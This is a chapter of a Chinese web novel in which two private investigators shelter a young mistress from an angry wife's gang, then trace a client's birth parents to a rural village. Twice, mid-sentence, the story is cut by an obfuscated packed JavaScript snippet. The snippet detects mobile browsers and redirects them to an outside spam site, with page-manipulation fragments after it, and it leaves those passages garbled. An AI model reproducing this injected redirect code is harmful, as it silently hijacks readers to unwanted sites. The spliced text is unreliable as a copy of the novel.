到了八楼,冲出安全楼梯,匆忙看了一眼疏散地图,继续疯狂往0821号跑。 她疯狂喘气,按响门铃。 仲光华气喘吁吁追上来。 开门的是圆脸女孩。 宋流星二话不说,抓住她的手就往外跑。 但是已经来不及了。 宋流星听到前方拐弯处传来电梯的叮咚声。接着是沉闷繁杂的脚步声。 她往前看去:最多再过三秒钟,大姐团就会出现。 又慌乱往回望:走廊尽头是墙壁,没有去路。 怎么办? 就在这一瞬间,仲光华往后退去,以极快的速度连续依次拍响走廊上所有房门。 其中一道门开了。 仲光华一个闪步过去,伸手扣住门。 宋流星不浪费一分一秒,抓着圆脸女孩就冲进那道门。 房间的主人,竟然是一男一女两个高中生。 虽然没穿校服,但是那两张过于稚嫩的面孔,丢在地上的鲜艳书包,书包里露出的课本,每一条线索都在大喊:高中生! 男高中生伸开双臂,把女生护在身后,战战兢兢大喊:“你们是什么人!出去!不然我们报警了!” 宋流星还没想好怎么解释,仲光华已经冷冷开口:“想要我打电话给你们老师家长吗?不想就闭嘴。” 两个小孩瞬间闭嘴如蚌壳。 宋流星赶紧解释:“别害怕,我们不是坏人。我们只在这里待一会,就一小会,最多十分钟,然后我们就走了。” 两个小孩互望一眼,似乎是相信了这话,放松了一点。 仲光华突然开口:“你们会用保护措施吗?” 两个小孩愣了一下。 过了两秒钟,女生先反应过来,小脸蛋一下子变得血红。 “我们不是……!”她声音颤抖,“我们只是一起写作业,不是你想的那样!” 仲光华冷笑:“来宾馆开房写作业?说谎也考虑一下逻辑吧。” 男生也辩解起来:“我们真的不是!” 然而,他在对面成年男人的无声威压之下,渐渐变得心虚起来。 宋流星趴在猫眼上,看着五个大姐拎着中年男子骂骂咧咧的走了。 她呼出一口气,回头招呼两个人:“我们可以走了。” 仲光华回头盯住男高中生:“你,少用下半身思考,多用用脑子。” 他伸出两根手指,指指自己的眼睛,又指指对方:“我就住在附近,会盯着你的。” 三个人出了房间,从安全楼梯走下去,悄悄出了宾馆。 * 宋流星开着车,送圆脸女孩回家。 车里一片沉默,气氛十分尴尬。 最终,宋流星看着后视镜,忍不住开口:“你看上他哪里了啊……他那个年纪,都能当你爸爸了。” 圆脸女孩小声:“他对我挺好的……” 宋流星想吐血。 对我挺好的。 她甚至好多次听见刚刚挨过打的女人说:可是他对我挺好的。 仲光华淡淡开口:“他是怎么对你好的?举个例子,不然我们不明白。” 圆脸女孩缩在后座角落里,低着头,小小声:“我是当服务员的,在一家叫做湘阁的湘菜馆……他经常去那里吃饭。” “我初中没毕业就出来打工了,什么活都干过。你们不懂,社会上的人对我这样的人是很凶的。” “但是他不一样,他总是笑眯眯的,见了我会跟我打招呼,对我很亲切。” “那一天我刚好痛经,他注意到了,让我在他的包厢里坐下来喝了一杯热茶,还叫他朋友不准开我玩笑。” “后来他经常等到店里打烊之后叫我出去吃夜宵……” 她把脸埋进手掌里:“我还以为,我以为他就是想睡我……但他没有,他一直很有礼貌……” “最后是我主动的……” 仲光华从鼻子里哼出一声,“他都不急,你急什么?” 圆脸女孩一个激灵,涨红了脸,想要辩解,却语无伦次:“我,我……” 宋流星瞪了副驾驶上的年轻男人一眼,呵斥道:“不会说话就别说话。” “就是因为拥有的太少才会患得患失。” “害怕自己如果不主动,连这一点都会失去。” 圆脸女孩猛点头。 宋流星从后视镜看到她怯弱的样子,心下叹气。 这样一个干瘪的中年人,又怎么会是年轻女孩心中对浪漫的想象? 这些年轻女孩追逐的,明明是一个只存在于幻想中的完美父亲啊。 仲光华回头问道:“你会和他分手吧?” 圆脸女孩撇开头,没说话。 仲光华皱眉:“你不会说,还喜欢他吧?” 圆脸女孩顽固地不说话。 仲光华看一眼宋流星。 宋流星耸耸肩。 我刚说过了啊。正因为拥有的太少,才格外不想失去。 仲光华回头看一眼女孩,冷笑。 “你喜欢谁,是你的自由。” “但是,和他在一起的话,随时可能被他老婆带一大群人打。这才是现实的问题。” “你愿意一直活在随时被打的风险中吗?” “你对他的喜欢,到这个程度了吗?” 圆脸女孩转回头,一脸惊恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518071|142296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 * 女孩在小区门口下了车,车上只剩下两个人。 车辆行驶在夜色中,车内一片沉默。 仲光华看她一眼:“你在想什么?” 宋流星:“我在想……以前那四个小三,她们都被打了。我今天帮这个忙,又算什么呢?” 仲光华:“你该不会是觉得,没帮她们,是对她们不公平吧。” 宋流星没说话。 仲光华:“你今天帮忙,是因为你们两个有缘分。今天晚上,在那个时间点,事情刚好发生了。” 他转回头,看了宋流星一眼,“不然呢?你还想追求这世间绝对的公平?” 宋流星一时无言以答。 半晌,她叹气:“你说话真是难听,但还算有道理。” 仲光华皱眉:“难听吗?有道理的话怎么会难听?” 宋流星:…… 不是很想争论这种问题。 她想起宾馆里的插曲,不禁觉得好笑:“你跟那个高中生说什么呢?盯着他?你上哪去盯着他啊。” 仲光华:“他又不知道。小孩子很好骗的。” 宋流星哈哈大笑:“你好坏啊,阿年仔。” 仲光华顿住。 宋流星看他一眼:“我不会叫你年哥的,你死心吧。” 仲光华:“我也不会叫你流星姐,你也死心吧。” 车内空气一时有些尴尬。 仲光华突然发问:“钱润发为什么会被打?” 宋流星看过来一眼。 仲光华:“我才不信那套勇斗犯罪分子的说辞。” 宋流星噗嗤笑出声。 “没指望你信。也只有安安那个小傻瓜信了。” “没什么特别的原因。” “就是在外面跟人打听事情,话赶话的,说了句不好听的,对方脾气暴,就动手了。” “而且他伤那么重也不是被打的,是从楼梯上滚下来摔的。” 仲光华心里一揪。 “你呢?你有没有遇到过这种情况?” 宋流星得意道:“当然没有。我是女人,外表弱,态度又特别怂,从来不会惹任何人生气。” 仲光华胸口一阵发闷。 为了自保而装怂,你一直过着这样的生活吗? 宋流星:“你家在哪?我送你到家门口。” 仲光华眼神一闪,语气坚决:“不用。” 他看一眼前方,“前面路口把我放下吧。” 宋流星:“呵呵,有钱人的隐私问题?无所谓啦,我不用麻烦还开心呢。” 仲光华:…… 经过红绿灯后,红色朗逸换了车道,在路边悄然停下。 仲光华开门下车。 宋流星突然俯下身,从副驾驶的门看向车外高大的男人,真诚道:“谢谢你,今天幸好有你。” 说完,她伸手拉上车门,起步前行,再度汇入车流。 仲光华沿着马路走了二十分钟,来到永福集团总部大楼,乘专用电梯来到12楼。 他刷卡进入办公室,打开灯。 莹莹灯光下,厚厚一沓文件静静躺在桌上。 那是米歇尔整理好的待处理公务。 仲光华伸手拿下最上面的文件夹。 ……阿年仔。 多年以前,在他生病昏迷的时候,阿芳坐在他床边,握着他的手,轻轻呼唤:阿华仔,快点好起来啊。 阿芳以为他不知道。 其实他听到了。 他闭着眼睛,一直听着。 ……阿华仔。 他喜欢阿芳说这三个字的语气和声音。 但是醒来之后,阿芳的称呼,又变回“少爷”。 这样也好。 阿华仔什么的,未免也太没大没小了。 那时候他是这么想的。 事到如今,莫名其妙的,竟然涌起一股失落。 14. 寻找真千金 周五上午,花二宫寻人事务所。 宋流星叉着腰向新来的临时工宣讲规矩: “我们这里的工作呢,不是朝九晚五,没个准数,看情况而定。” “阿珍上午会过来看店,我们调查员呢,上午补觉,下午再过来。” “我们这里接得最多的工作,是盯梢出轨老公。他们活动的高峰期是晚饭到半夜这段时间。” “不用太担心熬夜的事情。一般来说八九点就能抓到他们进酒店了。万一有通宵盯梢的情况,第二天会给你休假。” “啊,对了,工作期间管饭。但是没得选,我买什么,你吃什么。” 仲光华:“双休呢?” 宋流星:“没有那种东西。” “刚才不是说了吗,我们可不是朝九晚五。” “能接受吗?不能接受就滚蛋。” 结果,对方竟是没什么反对的意思,毫不犹豫就点了头。 宋流星眯起眼。 可疑。这个人实在是可疑。 但是随便吧,先当作苦力用着。 她依次拍了拍工装裤上的六个大兜,确认自己需要的东西都已经装好,转身朝着大门走去。 “走吧。我们今天去帮苏小姐寻找亲生父母。” * 苏小姐出生的医院不在花城,在四十公里以外的下属县城。 红色朗逸走走停停,好不容易摆脱内城高峰车流,驶上清爽的村间小路。 宋流星看着窗外延绵不绝的稻田,整个人都轻快起来。 仲光华:“我查了一下苏小姐的病。” 宋流星:“哦?” 仲光华:“她虽然没说病名,但是,神经+遗传,限定这两个前提之后,答案差不多就出来了。” “确实如她所说,使用营养保护和神经活化治疗的话,症状能大体控制,不影响寿命,甚至不影响正常生活。” “但是——” 宋流星一笑:“总会有但是。” 仲光华:“如果治疗不到位,或者出现少数情况下的病程发展过快,病人可能残疾,失去自理能力。” “最坏的情况,苏小姐的生物学父母中的一位,已经残疾了。” “如果这样,苏小姐面临的,将是负担起一个陌生残疾人的余生。” 他看了一眼宋流星:“你不反驳吗?说那不是陌生人,而是亲生父母?” 宋流星手握着方向盘,“就是陌生人啊。” “年仔啊,我突然想到……” 她话到半截,突然停住,往右看了一眼,嘴角勾起,十分有兴味的样子:“年仔!年仔!年仔!” 仲光华:…… 他无奈叹气:“年仔就年仔吧。你愿意叫什么都行。” 宋流星:“叫我流星姐吧。来,叫一声听听。” 仲光华:“你真的35岁吗?” 宋流星嘿嘿笑起来:“经常有人这么说呢!他们都说我看起来就像是25岁。” 仲光华:…… 我倒也不是这个意思。 宋流星拐回正题:“我突然想到,对方那个女孩子会怎么选呢?” “假设是最坏的情况,一边是贫穷残疾但是有恩的养父母,一边是富裕健全却陌生的亲生父母,她会怎么选?” 她咯咯笑起来:“真是地狱选择题啊!” 仲光华忍不住看了她一眼。 宋流星:“看什么?是不是觉得我不善良?别被我的脸骗了,我行走江湖,靠的可不是善良。” 仲光华:“不……我是想说,身为女儿,不管是苏小姐,还是对方那个女儿,都没有选择的余地。” “真正的选择权在苏小姐父母手里。” “有感情但是有病的养女,陌生但健全的亲生女儿,不管他们倾向哪边,另一边都会很惨。” “这才是真的地狱选择题。” 宋流星:“瞧你说的,难道肠粉店夫妻一点选择权都没有吗?” 仲光华:“他们当然可以选。只是他们选什么并不重要。” 宋流星嘴角抽搐:“你直说好了。有钱人就是这个世界的主人。” 仲光华:“难道不是吗?” 宋流星干笑一声,没说话了。 导航显示车辆已进入县城范围,离医院只有三公里。 宋流星开始感觉不对劲。 去往医院的路,是一条宽阔气派的四车道水泥路。 路没有问题,问题是,路边不是荒地,就是工地,一点生活气息都没有。 根据苏小姐从她妈妈那里听来的,当时医院在县城的中心地带,四周全是市场和店铺,热闹得很。 疑似生物学母亲的那位产妇,她家的肠粉店,就在医院马路对面的菜市场门口。 导航提示:目的地已到达。 红色朗逸停在气派的医院大楼门口。 马路对面是一片崭新的住宅小区。 别说肠粉店了,连菜市场都无影无踪。 宋流星下了车,找了上年纪的保安询问。 保安大手一挥,告知:拆了!全拆了! 原先这一片全是农民自己建的房子,下水都是乱搞的,一到夏天就淹。 后来县里统一规划,把这片全拆了。 这里原先住的那些人,全搬到新的小区里去了。 至于肠粉店去了哪里?不清楚,不知道。 仲光华:“怎么办?” 宋流星:“继续问啊。医院里这么多人,一个个问过去,总有人知道的。” 仲光华:…… 宋流星:“这份工就是枯燥又无聊的啊,不然人家也不会付钱让我们来做了。” 她歪头审视仲光华:“说真的,你看中这份工作哪里?我是为生活所迫,可你是有钱人吧? ” 仲光华:“我觉得很有意思。嗯,很长见识。” 宋流星:“好吧。” “接下来我们分头行动。目标是所有四十岁以上的医护和就诊人员。借口就是,我们家以前住在附近,和肠粉店老板很谈得来,可惜后来全家搬走,再也没见过了。现在二十多年过去,很是思念,想和老友再见一面聊聊天。” 仲光华喃喃重复:“我们家……” 宋流星笑道:“其实就是苏小姐的妈妈啦。” “我的经验是,撒谎的时候,真的部分越多越好,假的部分越少越好。” 仲光华心想,曾几何时,你的家就是我的家,我们的家是同一个地方。 他挥散心绪,和宋流星兵分两路,开始干活。 宋流星从一楼开始往上,仲光华从顶楼开始往下。 最后是宋流星在三楼问到一个大爷,刚好是肠粉店老板的老乡,当初市场整个被拆,老板拿了补偿金,欢天喜地回老家村里去了,再也没出来干过活。 宋流星拿到了村里的地址,载着仲光华,开车向东南方向行去。 下午五点二十,到达村中。 根据医院大爷提供的名字,很容易就找到了王姓一家的房子。 宋流星看着眼前贴着白瓷砖的三层小楼,心想,还好,至少不是贫困的样子。 正要敲门,门突然开了,一个圆滚滚的小男孩凶猛冲出来。 一个小女孩马上追出来,嘴里大喊:“阿豪!不准乱跑!” 宋流星眼看着两个孩子冲到田埂上,男孩大约三四岁的样子,女孩也不过七八岁的样子。 这一家的妈妈,怎么也得四十多、五十岁了吧,竟然有这么小的孩子。 等一下……这个年龄跨度……上面不会还有别的女孩吧。 为了给夫家生一个耀祖出来,也太不容易了吧。 宋流星看着田埂上小女孩脏兮兮的恤衫和大短裤,想到苏小姐的丝绸连衣裙,一时间不由得有些心塞。 门里又冲出来一个年轻妇人,看着大约三十岁的样子,她一手扶门,一手指着田里,嘴里大叫:“阿娇!快把你弟弟抓回来!” 女孩追上了男孩,一把抓住,用力往回拖。 男孩嗷的一声大哭起来:“妈!姐姐打我!” 年轻妇人大叫:“阿娇!叫你抓弟弟不是叫你打弟弟!” 女孩委屈大叫:“我没打他!” 宋流星:??? 这妇人是谁?这个年纪,如论如何也生不出苏小姐那个年纪的女儿吧! 啊,对,知道了,是这家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518072|142296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲戚—— 就在这时,年轻妇人看到了土路对面的仲光华,眼睛一亮,脸上浮起淡淡红晕,匆匆用手抚了一下鬓发,问道:“你找谁?” 宋流星:“你好,我们来找华英。” 华英——肠粉店老板娘的名字。 年轻妇人立刻露出一丝不悦。 “她啊!她走了都十几年了,连亲戚都断干净了,没人知道她去了哪!” 原来,华英早已成为前任。 辛苦操持肠粉店十几年,却在拆迁后立刻被离婚了。 王大球拿着拆迁款娶了新妻子,如愿以偿生了儿子。 而华英,带着女儿,从此不知所踪。 宋流星一时无言以答。 她看着田埂上那个脏兮兮的小女孩,心里涌起一股酸涩。 还以为这就算是糟糕境况了,谁知,人生的低谷根本没有底线。 仲光华:“接下来怎么办?” 宋流星:“当然是去找华英和她女儿。” “如果这件事最后会带来某种金钱上的补偿,那受益者绝不能是王大球。” 仲光华点头,“那我们去村里打听一圈,看看有谁知道华英去了哪儿。” 宋流星摸摸下巴:“我想到一个更快的方法。” * 宋流星开着车去了村里的小学,果然,老师们都记得王阿红。 王阿红,王大球和华英的女儿。 这个敷衍的名字,确实就是她的大名。 一位数学老师当年十分偏爱王阿红,小学毕业后也一直是王阿红的知心大姨。 这份情谊维持了将近二十年,从不曾淡去。 宋流星鬼话重提,说自己妈妈多年前是肠粉店的常客,现在想和华英重聚一次,聊聊往日时光。 数学老师轻易地相信了,高兴地给出了王阿红的联系方式。 夕阳西下,光线暗下来,燥热却丝毫不减。 宋流星钻进车子,迫不及待把空调打开。 她看了一眼副驾驶,年轻男人的额发已经濡湿,汗水顺着耳侧淌进白衬衫的衣领里。 “哎呀呀,你看看这些汗,该热坏了吧。”她念叨着,从包里翻出小毛巾,斜过身体,一伸手,直接糊上对方的脸。 仲光华瞬间被女性气息笼罩住。 他浑身僵硬,任由施为。 胡乱狠擦了一顿之后,宋流星把毛巾塞进对方手里,“你把扣子解开几颗,把胸口背上也擦一擦。” 说完,她把空调出风口打到最右边,嘴里不断念叨着,“要擦干啊,不然吹空调要感冒的。” 仲光华转头看着她,奔波一天,马尾有些松了,散落下来许多碎发,湿答答黏在脖子上。 这样的画面,他再熟悉不过。 时间尽头的碎片,像椋鸟一样呼啦啦涌来。 印度洋上没有四季,终年炎夏。 他很讨厌汗湿黏腻的感觉,但是因为医嘱,不得不出门运动。 每一次,阿芳都陪着他。 阿芳是个运动健将。 她跑起步来,像小鹿一样轻盈。 扣杀网球时,像豹子一样凶猛。 而他总是分神。 他明明最讨厌汗液的存在。 可是看到阿芳汗湿的碎发、黏在身上的恤衫,只觉得好可爱。 甚至不住幻想,摸上去的手感。 仲光华手里握着毛巾,不由自主抬手,擦掉了宋流星脖子上的汗珠。 宋流星吓了一跳。 接着,嫌弃得脸都皱起来:“你刚擦过!怎么能拿来擦我!” 仲光华不自在撇开眼神,强行辩解:“是你自己的毛巾,有什么好嫌弃的。” 宋流星气呼呼,自暴自弃抓过毛巾一顿乱擦。 仲光华身体僵硬。 他们初尝禁果,是在一个没有空调的小房间里。 他们出了那么多汗。 滚烫的皮肤贴在一起,仿佛下一秒就要燃起火焰,将一切烧得灰飞烟灭。 仲光华望着宋流星轻松的侧脸,咬紧的牙关下翻腾着剧烈的情绪。 所有的那一切,你怎么能忘记? ……你怎么可以!